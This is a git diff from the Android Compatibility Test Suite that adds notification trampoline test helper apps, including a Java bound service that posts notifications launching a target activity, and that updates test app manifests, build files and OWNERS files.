+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationtrampoline.current">
+    <!-- App is in NotificationTrampolineBase -->
+</manifest>
diff --git a/tests/app/NotificationTrampolineApi30/Android.bp b/tests/app/NotificationTrampolineApi30/Android.bp
new file mode 100644
index 0000000..e546429
--- /dev/null
+++ b/tests/app/NotificationTrampolineApi30/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "NotificationTrampolineApi30",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+    ],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    static_libs: [
+        "NotificationTrampolineBase",
+    ],
+    sdk_version: "test_current",
+    target_sdk_version: "30",
+}
diff --git a/tests/app/NotificationTrampolineApi30/AndroidManifest.xml b/tests/app/NotificationTrampolineApi30/AndroidManifest.xml
new file mode 100644
index 0000000..b24b2f1
--- /dev/null
+++ b/tests/app/NotificationTrampolineApi30/AndroidManifest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationtrampoline.api30">
+    <!-- App is in NotificationTrampolineBase -->
+</manifest>
diff --git a/tests/app/NotificationTrampolineBase/Android.bp b/tests/app/NotificationTrampolineBase/Android.bp
new file mode 100644
index 0000000..0b2a0fe
--- /dev/null
+++ b/tests/app/NotificationTrampolineBase/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_library {
+    name: "NotificationTrampolineBase",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "**/*.java",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+    ],
+}
diff --git a/tests/app/NotificationTrampolineBase/AndroidManifest.xml b/tests/app/NotificationTrampolineBase/AndroidManifest.xml
new file mode 100644
index 0000000..093495f
--- /dev/null
+++ b/tests/app/NotificationTrampolineBase/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.test.notificationtrampoline">
+    <application>
+        <service
+            android:name=".NotificationTrampolineTestService"
+            android:exported="true" />
+        <activity
+            android:name=".NotificationTrampolineTestService$TargetActivity"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/app/NotificationTrampolineBase/OWNERS b/tests/app/NotificationTrampolineBase/OWNERS
new file mode 100644
index 0000000..6caca2f
--- /dev/null
+++ b/tests/app/NotificationTrampolineBase/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 315013
+brufino@google.com
+alanstokes@google.com
+rickywai@google.com
diff --git a/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
new file mode 100644
index 0000000..ded29be
--- /dev/null
+++ b/tests/app/NotificationTrampolineBase/src/com/android/test/notificationtrampoline/NotificationTrampolineTestService.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.test.notificationtrampoline;
+
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.Service;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+import android.util.ArraySet;
+
+import androidx.annotation.Nullable;
+
+import java.lang.ref.WeakReference;
+import java.util.Set;
+
+/**
+ * This is a bound service used in conjunction with trampoline tests in NotificationManagerTest.
+ */
+public class NotificationTrampolineTestService extends Service {
+    private static final String TAG = "TrampolineTestService";
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
+    private static final String EXTRA_CALLBACK = "callback";
+    private static final String EXTRA_ACTIVITY_REF = "activity_ref";
+    private static final String RECEIVER_ACTION = ".TRAMPOLINE";
+    private static final int MESSAGE_BROADCAST_NOTIFICATION = 1;
+    private static final int MESSAGE_SERVICE_NOTIFICATION = 2;
+    private static final int TEST_MESSAGE_BROADCAST_RECEIVED = 1;
+    private static final int TEST_MESSAGE_SERVICE_STARTED = 2;
+    private static final int TEST_MESSAGE_ACTIVITY_STARTED = 3;
+
+    private final Handler mHandler = new ServiceHandler();
+    private final ActivityReference mActivityRef = new ActivityReference();
+    private final Set<Integer> mPostedNotifications = new ArraySet<>();
+    private NotificationManager mNotificationManager;
+    private Messenger mMessenger;
+    private BroadcastReceiver mReceiver;
+    private Messenger mCallback;
+    private String mReceiverAction;
+
+    @Override
+    public void onCreate() {
+        mNotificationManager = getSystemService(NotificationManager.class);
+        mMessenger = new Messenger(mHandler);
+        mReceiverAction = getPackageName() + RECEIVER_ACTION;
+    }
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mMessenger.getBinder();
+    }
+
+    @Override
+    public void onDestroy() {
+        if (mReceiver != null) {
+            unregisterReceiver(mReceiver);
+        }
+        WeakReference<Activity> activityRef = mActivityRef.activity;
+        Activity activity = (activityRef != null) ? activityRef.get() : null;
+        if (activity != null) {
+            activity.finish();
+        }
+        for (int notificationId : mPostedNotifications) {
+            mNotificationManager.cancel(notificationId);
+        }
+        mHandler.removeCallbacksAndMessages(null);
+    }
+
+    /** Suppressing since all messages are short-lived and we clear the queue on exit. */
+    @SuppressLint("HandlerLeak")
+    private class ServiceHandler extends Handler {
+        @Override
+        public void handleMessage(Message message) {
+            Context context = NotificationTrampolineTestService.this;
+            mCallback = (Messenger) message.obj;
+            int notificationId = message.arg1;
+            switch (message.what) {
+                case MESSAGE_BROADCAST_NOTIFICATION: {
+                    mReceiver = new BroadcastReceiver() {
+                        @Override
+                        public void onReceive(Context context, Intent broadcastIntent) {
+                            sendMessageToTest(mCallback, TEST_MESSAGE_BROADCAST_RECEIVED);
+                            startTargetActivity();
+                        }
+                    };
+                    registerReceiver(mReceiver, new IntentFilter(mReceiverAction));
+                    Intent intent = new Intent(mReceiverAction);
+                    postNotification(notificationId,
+                            PendingIntent.getBroadcast(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+                    break;
+                }
+                case MESSAGE_SERVICE_NOTIFICATION: {
+                    // We use this service to act as the trampoline since the bound lifecycle (which
+                    // is as long as the test is being executed) outlives the started (used by the
+                    // trampoline) in this case.
+                    Intent intent = new Intent(context, NotificationTrampolineTestService.class);
+                    postNotification(notificationId,
+                            PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED));
+                    break;
+                }
+                default:
+                    throw new AssertionError("Unknown message " + message.what);
+            }
+        }
+    }
+
+    @Override
+    public int onStartCommand(Intent serviceIntent, int flags, int startId) {
+        sendMessageToTest(mCallback, TEST_MESSAGE_SERVICE_STARTED);
+        startTargetActivity();
+        stopSelf(startId);
+        return START_REDELIVER_INTENT;
+    }
+
+    private void postNotification(int notificationId, PendingIntent intent) {
+        Notification notification =
+                new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(android.R.drawable.ic_info)
+                        .setContentIntent(intent)
+                        .build();
+        NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(notificationChannel);
+        mNotificationManager.notify(notificationId, notification);
+        mPostedNotifications.add(notificationId);
+    }
+
+    private void startTargetActivity() {
+        Intent intent = new Intent(this, TargetActivity.class);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        Bundle extras = new Bundle();
+        extras.putParcelable(EXTRA_CALLBACK, mCallback);
+        extras.putBinder(EXTRA_ACTIVITY_REF, mActivityRef);
+        intent.putExtras(extras);
+        startActivity(intent);
+    }
+
+    private static void sendMessageToTest(Messenger callback, int message) {
+        try {
+            callback.send(Message.obtain(null, message));
+        } catch (RemoteException e) {
+            throw new IllegalStateException(
+                    "Couldn't send message " + message + " to test process", e);
+        }
+    }
+
+    /**
+     * A holder object that extends from Binder just so I can send it around using startActivity()
+     * and avoid using static state. Works since the communication is local.
+     */
+    private static class ActivityReference extends Binder {
+        public WeakReference<Activity> activity;
+    }
+
+    public static class TargetActivity extends Activity {
+        @Override
+        protected void onResume() {
+            super.onResume();
+            Messenger callback = getIntent().getParcelableExtra(EXTRA_CALLBACK);
+            ActivityReference activityRef =
+                    (ActivityReference) getIntent().getExtras().getBinder(EXTRA_ACTIVITY_REF);
+            activityRef.activity = new WeakReference<>(this);
+            sendMessageToTest(callback, TEST_MESSAGE_ACTIVITY_STARTED);
+        }
+    }
+}
diff --git a/tests/app/OWNERS b/tests/app/OWNERS
index 7516b62..f70abe8 100644
--- a/tests/app/OWNERS
+++ b/tests/app/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 316234
 include platform/frameworks/base:/services/core/java/com/android/server/am/OWNERS
-juliacr@google.com
-beverlyt@google.com
\ No newline at end of file
+include NOTIFICATION_OWNERS
diff --git a/tests/app/StorageDelegator/Android.bp b/tests/app/StorageDelegator/Android.bp
index 7727351..588988c 100644
--- a/tests/app/StorageDelegator/Android.bp
+++ b/tests/app/StorageDelegator/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "StorageDelegator",
     defaults: ["cts_support_defaults"],
diff --git a/tests/app/StorageDelegator/AndroidManifest.xml b/tests/app/StorageDelegator/AndroidManifest.xml
index c252a80..7812a23 100644
--- a/tests/app/StorageDelegator/AndroidManifest.xml
+++ b/tests/app/StorageDelegator/AndroidManifest.xml
@@ -13,20 +13,22 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.test.storagedelegator">
+     package="com.android.test.storagedelegator">
 
-    <uses-sdk android:targetSdkVersion="28" />
+    <uses-sdk android:targetSdkVersion="28"/>
 
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 
     <application android:label="StorageDelegator">
         <activity android:name=".StorageDelegator"
-                android:theme="@android:style/Theme.NoDisplay">
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.action.CREATE_FILE_WITH_CONTENT" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.action.CREATE_FILE_WITH_CONTENT"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/tests/app/app/Android.bp b/tests/app/app/Android.bp
index 8cabf87..82b8435 100644
--- a/tests/app/app/Android.bp
+++ b/tests/app/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppTestStubs",
     defaults: ["cts_support_defaults"],
@@ -33,9 +29,12 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "testng",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "src/android/app/stubs/ISecondary.aidl",
     ],
     // Tag this module as a cts test artifact
@@ -63,6 +62,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
@@ -96,6 +96,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
@@ -129,6 +130,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
@@ -144,3 +146,39 @@
         "--rename-manifest-package com.android.app3",
     ],
 }
+
+android_test_helper_app {
+    name: "CtsAppTestStubsApi30",
+    defaults: ["cts_support_defaults"],
+    libs: [
+        "android.test.runner",
+        "telephony-common",
+        "voip-common",
+        "org.apache.http.legacy",
+        "android.test.base",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ctstestserver",
+        "mockito-target-minus-junit4",
+        "androidx.legacy_legacy-support-v4",
+        "androidx.test.core",
+        "CtsAppTestStubsShared",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/android/app/stubs/ISecondary.aidl",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    platform_apis: true,
+    target_sdk_version: "30",
+    aaptflags: [
+        "--rename-manifest-package com.android.app4",
+        "--debug-mode",
+    ],
+}
\ No newline at end of file
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index a6fe151..a65329e 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -16,75 +16,92 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.app.stubs">
+     package="android.app.stubs">
 
     <permission android:name="android.app.stubs.permission.TEST_GRANTED"
-        android:protectionLevel="normal"
-            android:label="@string/permlab_testGranted"
-            android:description="@string/permdesc_testGranted">
-        <meta-data android:name="android.app.stubs.string" android:value="foo" />
-        <meta-data android:name="android.app.stubs.boolean" android:value="true" />
-        <meta-data android:name="android.app.stubs.integer" android:value="100" />
-        <meta-data android:name="android.app.stubs.color" android:value="#ff000000" />
-        <meta-data android:name="android.app.stubs.float" android:value="100.1" />
-        <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
+         android:protectionLevel="normal"
+         android:label="@string/permlab_testGranted"
+         android:description="@string/permdesc_testGranted">
+        <meta-data android:name="android.app.stubs.string"
+             android:value="foo"/>
+        <meta-data android:name="android.app.stubs.boolean"
+             android:value="true"/>
+        <meta-data android:name="android.app.stubs.integer"
+             android:value="100"/>
+        <meta-data android:name="android.app.stubs.color"
+             android:value="#ff000000"/>
+        <meta-data android:name="android.app.stubs.float"
+             android:value="100.1"/>
+        <meta-data android:name="android.app.stubs.reference"
+             android:resource="@xml/metadata"/>
     </permission>
 
-    <uses-permission android:name="android.app.stubs.permission.TEST_GRANTED" />
-    <uses-permission android:name="android.permission.READ_CONTACTS" />
-    <uses-permission android:name="android.permission.WRITE_CONTACTS" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
-    <uses-permission android:name="android.permission.SET_WALLPAPER_HINTS" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.BODY_SENSORS" />
-    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
-    <uses-permission android:name="android.permission.SET_WALLPAPER" />
+    <queries>
+        <package android:name="com.android.test.notificationtrampoline.current" />
+        <package android:name="com.android.test.notificationtrampoline.api30" />
+    </queries>
+
+    <uses-permission android:name="android.app.stubs.permission.TEST_GRANTED"/>
+    <uses-permission android:name="android.permission.READ_CONTACTS"/>
+    <uses-permission android:name="android.permission.WRITE_CONTACTS"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
+    <uses-permission android:name="android.permission.SET_WALLPAPER_HINTS"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.BODY_SENSORS"/>
+    <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
+    <uses-permission android:name="android.permission.SET_WALLPAPER"/>
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
-    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
     <application android:label="Android TestCase"
-                android:icon="@drawable/size_48x48"
-                android:maxRecents="1"
-                android:multiArch="true"
-                android:name="android.app.stubs.MockApplication"
-                android:supportsRtl="true"
-                android:networkSecurityConfig="@xml/network_security_config"
-                android:zygotePreloadName=".ZygotePreload">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:name="android.app.stubs.MockApplication"
+         android:supportsRtl="true"
+         android:networkSecurityConfig="@xml/network_security_config"
+         android:zygotePreloadName=".ZygotePreload">
+        <uses-library android:name="android.test.runner"/>
+        <uses-library android:name="org.apache.http.legacy"
+             android:required="false"/>
 
-        <activity android:name="android.app.stubs.ScreenOnActivity" />
+        <activity android:name="android.app.stubs.ScreenOnActivity"/>
 
-        <activity android:name="android.app.stubs.ActionBarActivity" />
+        <activity android:name="android.app.stubs.ActionBarActivity"/>
 
-        <activity android:name="android.app.stubs.ActivityCallbacksTestActivity" />
+        <activity android:name="android.app.stubs.ActivityCallbacksTestActivity"/>
 
-        <activity android:name="android.app.stubs.MockActivity" android:label="MockActivity">
+        <activity android:name="android.app.stubs.MockActivity"
+             android:label="MockActivity">
             <meta-data android:name="android.app.alias"
-                android:resource="@xml/alias" />
+                 android:resource="@xml/alias"/>
             <meta-data android:name="android.app.intent.filter"
-                android:resource="@xml/intentfilter" />
+                 android:resource="@xml/intentfilter"/>
         </activity>
 
         <activity android:name="android.app.stubs.MockApplicationActivity"
-            android:label="MockApplicationActivity">
+             android:label="MockApplicationActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.app.stubs.InstrumentationTestActivity"
-                  android:label="InstrumentationTestActivity">
+             android:label="InstrumentationTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:mimeType="vnd.android.cursor.dir/person" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:mimeType="vnd.android.cursor.dir/person"/>
             </intent-filter>
             <intent-filter>
                 <action android:name="android.app.stubs.activity.INSTRUMENTATION_TEST"/>
@@ -92,343 +109,395 @@
         </activity>
 
         <activity android:name="android.app.stubs.ActivityMonitorTestActivity"
-                  android:label="ActivityMonitorTestActivity" />
+             android:label="ActivityMonitorTestActivity"/>
 
         <activity android:name="android.app.stubs.AliasActivityStub">
             <meta-data android:name="android.app.alias"
-                android:resource="@xml/alias" />
+                 android:resource="@xml/alias"/>
         </activity>
 
         <activity android:name="android.app.stubs.ChildActivity"
-                        android:label="ChildActivity" />
+             android:label="ChildActivity"/>
 
-        <receiver android:name="android.app.stubs.MockReceiver">
+        <receiver android:name="android.app.stubs.MockReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.PendingIntentTest.TEST_RECEIVER" />
+                <action android:name="android.app.stubs.PendingIntentTest.TEST_RECEIVER"/>
             </intent-filter>
         </receiver>
 
-        <service android:name="android.app.stubs.MockService" />
+        <service android:name="android.app.stubs.MockService"/>
 
-        <service android:name="android.app.stubs.NullService" />
+        <service android:name="android.app.stubs.NullService"/>
 
         <activity android:name="android.app.stubs.SearchManagerStubActivity"
-                android:label="SearchManagerStubActivity">
+             android:label="SearchManagerStubActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.SEARCH"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
-            <meta-data android:name="android.app.searchable" android:resource="@xml/searchable" />
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
 
-        <service android:name="android.app.stubs.LocalService">
+        <service android:name="android.app.stubs.LocalService"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.activity.SERVICE_LOCAL" />
+                <action android:name="android.app.stubs.activity.SERVICE_LOCAL"/>
             </intent-filter>
-            <meta-data android:name="android.app.stubs.string" android:value="foo" />
-            <meta-data android:name="android.app.stubs.boolean" android:value="true" />
-            <meta-data android:name="android.app.stubs.integer" android:value="100" />
-            <meta-data android:name="android.app.stubs.color" android:value="#ff000000" />
-            <meta-data android:name="android.app.stubs.float" android:value="100.1" />
-            <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
+            <meta-data android:name="android.app.stubs.string"
+                 android:value="foo"/>
+            <meta-data android:name="android.app.stubs.boolean"
+                 android:value="true"/>
+            <meta-data android:name="android.app.stubs.integer"
+                 android:value="100"/>
+            <meta-data android:name="android.app.stubs.color"
+                 android:value="#ff000000"/>
+            <meta-data android:name="android.app.stubs.float"
+                 android:value="100.1"/>
+            <meta-data android:name="android.app.stubs.reference"
+                 android:resource="@xml/metadata"/>
         </service>
 
-        <service android:name="android.app.stubs.LocalStoppedService" />
+        <service android:name="android.app.stubs.LocalStoppedService"/>
 
         <service android:name="android.app.stubs.LocalForegroundService"
-                 android:foregroundServiceType="camera|microphone">
+             android:foregroundServiceType="camera|microphone"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.FOREGROUND_SERVICE" />
+                <action android:name="android.app.stubs.FOREGROUND_SERVICE"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.LocalForegroundServiceLocation"
-                android:foregroundServiceType="location|camera|microphone">
+             android:foregroundServiceType="location|camera|microphone"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.FOREGROUND_SERVICE_LOCATION" />
+                <action android:name="android.app.stubs.FOREGROUND_SERVICE_LOCATION"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.LocalGrantedService"
-             android:permission="android.app.stubs.permission.TEST_GRANTED">
+             android:permission="android.app.stubs.permission.TEST_GRANTED"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.activity.SERVICE_LOCAL_GRANTED" />
+                <action android:name="android.app.stubs.activity.SERVICE_LOCAL_GRANTED"/>
             </intent-filter>
         </service>
 
         <service android:name="android.app.stubs.LocalDeniedService"
-               android:permission="android.app.stubs.permission.TEST_DENIED">
+             android:permission="android.app.stubs.permission.TEST_DENIED"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.app.stubs.activity.SERVICE_LOCAL_DENIED" />
+                <action android:name="android.app.stubs.activity.SERVICE_LOCAL_DENIED"/>
             </intent-filter>
         </service>
 
-        <service android:name="android.app.stubs.IsolatedService" android:isolatedProcess="true" android:useAppZygote="true">
+        <service android:name="android.app.stubs.IsolatedService"
+             android:isolatedProcess="true"
+             android:useAppZygote="true">
         </service>
 
         <activity android:name="android.app.stubs.TestedScreen"
-                android:process=":remoteScreen">
+             android:process=":remoteScreen">
         </activity>
-        <activity android:name="android.app.stubs.LocalScreen" android:multiprocess="true">
+        <activity android:name="android.app.stubs.LocalScreen"
+             android:multiprocess="true">
         </activity>
-        <activity android:name="android.app.stubs.ClearTop" android:multiprocess="true"
-               android:launchMode="singleTop">
+        <activity android:name="android.app.stubs.ClearTop"
+             android:multiprocess="true"
+             android:launchMode="singleTop">
         </activity>
-        <activity android:name="android.app.stubs.LocalDialog" android:multiprocess="true"
-               android:theme="@android:style/Theme.Dialog">
+        <activity android:name="android.app.stubs.LocalDialog"
+             android:multiprocess="true"
+             android:theme="@android:style/Theme.Dialog">
         </activity>
 
         <activity android:name="android.app.stubs.PendingIntentStubActivity"
              android:label="PendingIntentStubActivity"/>
 
         <activity android:name="android.app.stubs.LocalActivityManagerStubActivity"
-                        android:label="LocalActivityManagerStubActivity" />
+             android:label="LocalActivityManagerStubActivity"/>
 
         <activity android:name="android.app.stubs.LocalActivityManagerTestHelper"
-            android:label="LocalActivityManagerTestHelper" />
+             android:label="LocalActivityManagerTestHelper"/>
 
-        <activity android:name="android.app.stubs.LaunchpadTabActivity" android:multiprocess="true">
+        <activity android:name="android.app.stubs.LaunchpadTabActivity"
+             android:multiprocess="true">
         </activity>
 
-        <activity android:name="android.app.stubs.LocalActivity" android:multiprocess="true">
-            <meta-data android:name="android.app.stubs.string" android:value="foo" />
-            <meta-data android:name="android.app.stubs.boolean" android:value="true" />
-            <meta-data android:name="android.app.stubs.integer" android:value="100" />
-            <meta-data android:name="android.app.stubs.color" android:value="#ff000000" />
-            <meta-data android:name="android.app.stubs.float" android:value="100.1" />
-            <meta-data android:name="android.app.stubs.reference" android:resource="@xml/metadata" />
+        <activity android:name="android.app.stubs.LocalActivity"
+             android:multiprocess="true">
+            <meta-data android:name="android.app.stubs.string"
+                 android:value="foo"/>
+            <meta-data android:name="android.app.stubs.boolean"
+                 android:value="true"/>
+            <meta-data android:name="android.app.stubs.integer"
+                 android:value="100"/>
+            <meta-data android:name="android.app.stubs.color"
+                 android:value="#ff000000"/>
+            <meta-data android:name="android.app.stubs.float"
+                 android:value="100.1"/>
+            <meta-data android:name="android.app.stubs.reference"
+                 android:resource="@xml/metadata"/>
         </activity>
 
         <activity android:name="android.app.stubs.TestedActivity"
-                android:process=":remoteActivity">
+             android:process=":remoteActivity">
         </activity>
 
         <activity android:name="android.app.stubs.ExpandableListTestActivity"
-            android:label="ExpandableListTestActivity">
+             android:label="ExpandableListTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
